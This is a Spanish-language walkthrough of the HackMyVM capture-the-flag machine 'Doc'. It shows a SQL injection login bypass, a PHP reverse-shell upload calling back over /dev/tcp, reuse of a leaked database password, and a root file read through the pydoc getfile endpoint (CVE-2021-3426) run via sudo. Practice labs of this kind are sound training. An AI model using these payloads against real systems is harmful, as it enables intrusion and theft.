cd ~/blog

~/writeups/hmv/075-doc.md

075 - Doc

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
SQL InjectionUnrestricted File Upload RCECredential ReusePython pydoc Arbitrary File Read (CVE-2021-3426)Sudo-Allowed Program Abuse
hackmyvm.eu/machines/machine.php?vm=Doc

~1 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.102
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-19 16:59 -04
Nmap scan report for 192.168.1.102
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
|_http-title: Online Traffic Offense Management System - PHP
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: nginx/1.18.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.11 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 'http://192.168.1.102' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.php            (Status: 200) [Size: 14323]
/admin                (Status: 200) [Size: 22482]
/config.php           (Status: 200) [Size: 0]
/uploads              (Status: 403) [Size: 153]
...

SQL Injection y acceso al panel

El sitio es Online Traffic Offense Management System y utiliza el nombre doc.hmv, que añadimos a /etc/hosts. El formulario de acceso concatena la entrada del usuario en una consulta SQL. El payload altera la condición lógica para que resulte verdadera y comenta el resto de la sentencia, produciendo un bypass de autenticación mediante SQL Injection:

admin' or 1=1-- -

Acceso inicial mediante Unrestricted File Upload

Dentro del panel creamos un nuevo driver. El campo de imagen acepta un archivo PHP y la aplicación lo almacena bajo una ruta servida por el servidor web. Esta combinación, aceptación de código y ejecución posterior en una ubicación pública, constituye Unrestricted File Upload RCE:

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.3/1234 0>&1'");
?>

Al editar el usuario se ejecuta el archivo y obtenemos una shell como www-data:

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.102:39374.
bash: cannot set terminal process group (325): Inappropriate ioctl for device
bash: no job control in this shell
www-data@doc:~/html/traffic_offense/uploads/drivers$

Movimiento lateral mediante Credential Reuse

En initialize.php encontramos credenciales de base de datos asociadas al nombre bella. La misma contraseña también es válida para la cuenta local, por lo que pasamos de www-data a bella mediante reutilización de credenciales:

www-data@doc:~/html/traffic_offense$  cat initialize.php
...
if(!defined('DB_USERNAME')) define('DB_USERNAME',"bella");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"be114yTU");
...

www-data@doc:~/html/traffic_offense$ su bella
Password: be114yTU
bella@doc:/var/www/html/traffic_offense$

Escalada mediante pydoc

Obtenemos la primera flag. Revisamos sudo -l:

bella@doc:~$ sudo -l
Matching Defaults entries for bella on doc:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bella may run the following commands on doc:
    (ALL : ALL) NOPASSWD: /usr/bin/doc

Analizamos el binario doc, que internamente ejecuta pydoc:

...
/usr/bin/pydoc3.9 -p 7890
...

doc inicia pydoc como root, por lo que Python pydoc Arbitrary File Read (CVE-2021-3426), registrada como CVE-2021-3426 en NVD, hereda esos permisos. Es una variante específica de Arbitrary File Read alcanzada mediante Sudo-Allowed Program Abuse. El endpoint getfile acepta una ruta arbitraria y devuelve su contenido. Como el servidor escucha únicamente en la interfaz local, dejamos el proceso privilegiado activo y hacemos la petición desde otra shell ya abierta en la máquina:

bella@doc:~$ sudo doc
Server ready at http://localhost:7890/
Server commands: [b]rowser, [q]uit
server>

www-data@doc:~/html/traffic_offense/uploads/drivers$ curl http://localhost:7890/getfile?key=/root/root.txt

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados